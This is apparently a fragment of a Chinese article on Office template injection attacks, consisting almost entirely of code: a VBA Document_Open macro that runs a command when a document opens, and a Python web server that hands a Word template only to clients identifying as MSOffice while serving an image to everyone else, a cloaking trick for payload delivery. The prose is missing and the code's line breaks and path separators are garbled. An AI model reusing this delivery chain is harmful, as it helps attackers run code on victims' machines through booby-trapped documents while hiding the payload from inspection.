攻防角度理解模板注入攻击

Sub Document_Open()

Set objShell = CreateObject("Wscript.Shell")objShell.Run "calc"

End Sub

from http.server import HTTPServer, BaseHTTPRequestHandler

host = ('localhost', 80)FILE_TO_SERVE1 = r'C:SimpleWWWtest.txt'FILE_TO_SERVE2 = r'C:SimpleWWWtest2.txt'

class My_Server(BaseHTTPRequestHandler):    def do_GET(self, *args, **kwargs):        if "MSOffice" in self.headers['user-agent']:            self.send_response(200)            self.send_header("Content-type", "application/msword")            self.end_headers()            body = b''            with open(FILE_TO_SERVE1, "rb") as f:                body = f.read()            self.wfile.write(body)            self.wfile.close()        else:            self.send_response(200)            self.send_header("Content-type", "image/jpeg")            self.end_headers()            body = b''            with open(FILE_TO_SERVE2, "rb") as f:                body = f.read()            self.wfile.write(body)            self.wfile.close()

    def do_OPTIONS(self):        self.send_response(200, "ok")        self.send_header('Access-Control-Allow-Methods', 'GET, OPTIONS')        self.send_header("Access-Control-Allow-Headers", "X-Requested-With, Content-type")



if __name__ == '__main__':    server = HTTPServer(host, My_Server)    print("server启动@ : %s:%s" % host)

    server.serve_forever()